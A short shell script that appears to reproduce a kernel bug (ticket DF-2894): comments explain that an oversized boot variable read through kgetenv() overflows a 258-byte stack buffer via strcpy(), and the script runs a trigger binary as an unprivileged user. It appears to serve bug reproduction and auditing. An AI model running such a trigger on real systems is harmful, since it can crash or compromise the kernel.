#!/bin/sh
# DF-2894 — run the trigger as an unprivileged user.
# 1) sanity: the oversized boot var IS in the dynamic table (DUMP path is safe)
kenv | grep -c '^audit.smash='
# 2) control: short boot var reads fine through KENV_GET
/tmp/df2894_trigger audit.hello
# 3) trigger: oversized boot var -> strcpy() past kgetenv()'s 258-byte stack buf
/tmp/df2894_trigger audit.smash